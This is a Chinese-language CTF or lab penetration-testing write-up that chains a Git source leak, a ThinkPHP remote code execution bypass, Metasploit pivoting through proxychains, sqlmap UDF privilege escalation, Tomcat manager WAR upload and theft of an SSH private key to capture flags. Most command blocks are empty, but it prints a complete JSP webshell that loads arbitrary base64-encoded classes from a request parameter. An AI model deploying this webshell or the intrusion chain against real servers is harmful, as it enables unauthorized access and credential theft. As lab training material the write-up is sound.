My-First-Penetration
本文最后更新于:1 年前
Tim大人的Web渗透 WriteUps

门户网站
访问,发现 Nothing

尝试扫目录得

访问得到新目录

进入这个目录继续扫

Git泄露
可以使用 GitHack 直接下载

可以发现是 脆弱的Thinkphp,查看拿到的源码,在CHANGELOG.md发现版本

复现漏洞
1 | |
hackbar 发包,但是蚁剑连接失败
尝试写入 txt 并查看

可以看到 echo 对单引号、双引号和反引号的输出不同$_REQUEST 被过滤,尝试绕过
1 | |
成功连接

访问根目录得到
f1ag
1 | |
反向代理
生成后门,再利用蚁剑上传即可
1 | |

vps 启动 msf ,监听上面的端口
1 | |

打开蚁剑的终端
1 | |

可以看到 msf 已经连上了

门户网站数据库服务器
信息收集
从上面下载的源码可以得到数据库的相关参数

看一下内网信息
1 | |

MSF的跳板功能,是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往“内网”的路由,直接使用msf去访问原本不能直接访问的内网资源,只要路由可达了那么我们使用msf的强大功能,为所欲为了。
1 | |

但是以上路由仅在当前 msf 会话可访问,所以为了方便我们外部访问,开启代理
1 | |

配置好 proxychains 即可
1 | |

Windows 用的是 SocksCap

Attack!!
上面已经拿到了数据库的信息
直接启动 sqlmap 进行 UDF提权
1 | |
貌似选哪个都行

根目录得到flag

f2ag
1 | |
数据库信息
直接使用 kali 自带 mysql 连接数据库,并输入密码
1 | |

查询可得 ip 与用户信息
1 | |

tim在526的服务器
猜测端口8080

访问得(Edge打不开,奇怪捏

CVE-2020-1938 AJP 文件包含漏洞
需要登录,前面拿到的 md5 密码可以在 MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊 (hashes.com) 爆出
得到
1 | |
点击 ManagerApp 登录即可
此处存在文件上传漏洞

制作 war 包上传即可
jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
1 | |

蚁剑左上角设置代理并连接

根目录获得flag
f2ag
1 | |
正向代理
生成后门
1 | |

进入 /usr/local/tomcat/webapps 进行上传
1 | |

打开蚁剑终端
1 | |

返回 msf,可以看到已经连接上了

526 机密服务器
信息收集
获得网络信息
1 | |

添加新的路由
1 | |

从上面拿到的 shell 里,查看常用目录
在 /home/cnss 里拿到 ssh 的 私钥 和 .bash_history
登录得 flag
1 | |


f3ag
1 | |